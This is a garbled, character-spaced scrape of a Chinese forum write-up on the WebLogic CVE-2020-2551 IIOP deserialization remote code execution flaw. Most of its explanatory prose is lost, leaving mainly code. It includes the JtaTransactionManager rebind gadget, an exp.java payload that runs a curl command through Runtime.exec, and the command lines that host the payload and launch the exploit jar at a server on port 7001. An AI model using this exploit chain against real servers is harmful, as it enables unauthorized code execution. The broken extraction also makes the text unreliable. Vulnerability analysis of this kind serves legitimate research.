[1081] 2020-03-11_WeblogicCVE-2020-2551IIOP协议反序列化RCE

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2020-03-11_WeblogicCVE-2020-2551IIOP协议反序列化RCE W e b l o g i c   C V E - 2 0 2 0 - 2 5 5 1   I I O P R C E C h a B u g   C h a B u g   2 0 2 0 - 0 3 - 1 1 I I O P w e b l o g i c 1 0 . 3 . 6 + j d k 1 . 6 i d e a + j d k 1 . 8 + j d k 1 . 6 I I O P I I O P I n t e r n e t   I n t e r - O R B   P r o t o c o l ( ) C O R B A   2 . 0 C O R B A J a v a 使 C O R B A R M I - I I O P R M I C O R B A R M I - I I O P R M I   C O R B A 使 便 R M I - I I O P R M I C O R B A R M I - I I O P R M I J a v a C O R B A W e b l o g i c I I O P I I O P W e b l o g i c R M I - I I O P I I O P R M I - I I O P   h t t p s : / / g i t h u b . c o m / l o n g o f o / r m i - j n d i - l d a p - j r m p - j m x - j m s p a c k a g e   c o m . l o n g o f o . e x a m p l e ;
i m p o r t   j a v a x . n a m i n g . C o n t e x t ; i m p o r t   j a v a x . n a m i n g . I n i t i a l C o n t e x t ; i m p o r t   j a v a x . n a m i n g . N a m i n g E x c e p t i o n ; i m p o r t   j a v a . u t i l . H a s h t a b l e ; p u b l i c   c l a s s   H e l l o S e r v e r   {         p u b l i c   f i n a l   s t a t i c   S t r i n g   J N D I _ F A C T O R Y   =   " c o m . s u n . j n d i . c o s n a m i n g . C N C t x F a c t o r y " ;         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 t r y   {                         S y s t e m . s e t P r o p e r t y ( " j a v a . r m i . s e r v e r . c o d e b a s e " ,   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / " ) ;                         / / H e l l o   s e r v a n t                         H e l l o I m p l   h e l l o R e f   =   n e w   H e l l o I m p l ( ) ;                         / / 使 J N D I                         I n i t i a l C o n t e x t   i n i t i a l C o n t e x t   =   g e t I n i t i a l C o n t e x t ( " i i o p : / / 1 2 7 . 0 . 0 . 1 : 1 0 5 0 " ) ;                         i n i t i a l C o n t e x t . r e b i n d ( " H e l l o S e r v i c e " ,   h e l l o R e f ) ;                         S y s t e m . o u t . p r i n t l n ( " H e l l o   S e r v e r   R e a d y . . . " ) ;                         T h r e a d . c u r r e n t T h r e a d ( ) . j o i n ( ) ;                 }   c a t c h   ( E x c e p t i o n   e x )   {                         e x . p r i n t S t a c k T r a c e ( ) ;                 }         }         p r i v a t e   s t a t i c   I n i t i a l C o n t e x t   g e t I n i t i a l C o n t e x t ( S t r i n g   u r l )   t h r o w s   N a m i n g E x c e p t i o n   {                 H a s h t a b l e   e n v   =   n e w   H a s h t a b l e ( ) ;                 e n v . p u t ( C o n t e x t . I N I T I A L _ C O N T E X T _ F A C T O R Y ,   J N D I _ F A C T O R Y ) ;                 e n v . p u t ( C o n t e x t . P R O V I D E R _ U R L ,   u r l ) ;                 r e t u r n   n e w   I n i t i a l C o n t e x t ( e n v ) ;         } } S e r v e r I n i t i a l C o n t e x t H e l l o S e r v i c e h e l l o R e f H e l l o I m p l H e l l o I n t e r f a c e s a y H e l l o j a v a . r m i . R e m o t e j a v a . r m i . R e m o t e E x c e p t i o n R M I R M I I I O P 7 0 0 1 I I O P R C E
b i n d H a s h t a b l e < S t r i n g ,   S t r i n g >   e n v   =   n e w   H a s h t a b l e < S t r i n g ,   S t r i n g > ( ) ; / /   a d d   w l s s e r v e r / s e r v e r / l i b / w e b l o g i c . j a r   t o   c l a s s p a t h , e l s e   w i l l   e r r o r . e n v . p u t ( " j a v a . n a m i n g . f a c t o r y . i n i t i a l " ,   " w e b l o g i c . j n d i . W L I n i t i a l C o n t e x t F a c t o r y " ) ; e n v . p u t ( " j a v a . n a m i n g . p r o v i d e r . u r l " ,   r h o s t ) ; C o n t e x t   c o n t e x t   =   n e w   I n i t i a l C o n t e x t ( e n v ) ; / /   g e t   O b j e c t   t o   D e s e r i a l i z e J t a T r a n s a c t i o n M a n a g e r   j t a T r a n s a c t i o n M a n a g e r   =   n e w   J t a T r a n s a c t i o n M a n a g e r ( ) ; j t a T r a n s a c t i o n M a n a g e r . s e t U s e r T r a n s a c t i o n N a m e ( r m i u r l ) ; R e m o t e   r e m o t e   =   c r e a t e M e m o i t i z e d P r o x y ( c r e a t e M a p ( " p w n e d " + S y s t e m . n a n o T i m e ( ) ,   j t a T r a n s a c t i o n M a n a g e r ) ,   R e m o t e . c l a s s ) ; c o n t e x t . r e b i n d ( " Y 4 e r " + S y s t e m . n a n o T i m e ( ) ,   r e m o t e ) ; J t a T r a n s a c t i o n M a n a g e r w e b l o g i c . j n d i . W L I n i t i a l C o n t e x t F a c t o r y 1 .   J t a T r a n s a c t i o n M a n a g e r s p r i n g J N D I w e b l o g i c 2 .   w e b l o g i c . j n d i . W L I n i t i a l C o n t e x t F a c t o r y   w e b l o g i c J N D I I I O P I I O P E : / s o u r c e / j a v a / W e b l o g i c / s r c / m a i n / r e s o u r c e s / l i b / m o d u l e s / w e b l o g i c . j a r ! / w e b l o g i c / i i o p / I I O P I n p u t S t r e a m . c l a s s : 1 7 2 5 v a r 2 r e a d V a l u e ( ) c o m . b e a . c o r e . r e p a c k a g e d . s p r i n g f r a m e w o r k . t r a n s a c t i o n . j t a . J t a T r a n s a c t i o n M a n a g e r
r e a d V a l u e D a t a ( ) r e a d O b j e c t r e a d O b j e c t ( ) r e a d O b j e c t J t a T r a n s a c t i o n M a n a g e r r e a d O b j e c t ( ) W e b l o g i c C V E - 2 0 1 8 - 3 1 9 1   s p r i n g   J N D I l o o k u p ( ) i n i t U s e r T r a n s a c t i o n A n d T r a n s a c t i o n M a n a g e r ( ) o m . b e a . c o r e . r e p a c k a g e d . s p r i n g f r a m e w o r k . t r a n s a c t i o n . j t a . J t a T r a n s a c t i o n M a n a g e r
u s e r T r a n s a c t i o n u s e r T r a n s a c t i o n N a m e l o o k u p U s e r T r a n s a c t i o n ( ) l o o k u p ( ) l o o k u p R M I i p r m i S p r i n g   f r a m e w o r k   w e b l o g i c C V E - 2 0 1 8 - 3 1 9 1 G i t h u b h t t p s : / / g i t h u b . c o m / Y 4 e r / C V E - 2 0 2 0 - 2 5 5 1 j a r 使 m a r s h a l s e c R M I e x p . j a v a p a c k a g e   p a y l o a d ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; p u b l i c   c l a s s   e x p   {         p u b l i c   e x p ( )   {                 S t r i n g   c m d   =   " c u r l   h t t p : / / 1 7 2 . 1 6 . 1 . 1 / s u c c e s s " ;                 t r y   {
                        R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) . g e t I n p u t S t r e a m ( ) ;                 }   c a t c h   ( I O E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } } 使 使 w e b l o g i c   w e b j a r p y t h o n   - m   h t t p . s e r v e r   - - b i n d   0 . 0 . 0 . 0   8 0 j a v a   - j a r   w e b l o g i c _ C V E _ 2 0 2 0 _ 2 5 5 1 . j a r   1 7 2 . 1 6 . 1 . 1 2 8   7 0 0 1   r m i : / / 1 7 2 . 1 6 . 1 . 1 : 1 0 9 9 / e x p
1 .   h t t p s : / / p a p e r . s e e b u g . o r g / 1 1 3 0 2 .   h t t p s : / / s e a i i - b l o g . c o m / i n d e x . p h p / 2 0 1 9 / 1 2 / 2 9 / 9 2 . h t m l 3 .   h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 9 7 6 0 5 4 .   h t t p s : / / w w w . c n b l o g s . c o m / a f a n t i / p / 1 0 2 5 6 8 4 3 . h t m l 5 .   h t t p s : / / w w w . c n b l o g s . c o m / a f a n t i / p / 1 0 1 9 3 1 6 9 . h t m l 6 .   h t t p s : / / g i t h u b . c o m / Y 4 e r / C V E - 2 0 2 0 - 2 5 5 1 7 .   h t t p s : / / g i t h u b . c o m / l o n g o f o / r m i - j n d i - l d a p - j r m p - j m x - j m s 8 .   h t t p s : / / p a p e r . s e e b u g . o r g / 1 1 0 5 / 9 .   h t t p s : / / p a p e r . s e e b u g . o r g / 1 0 9 1 /
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则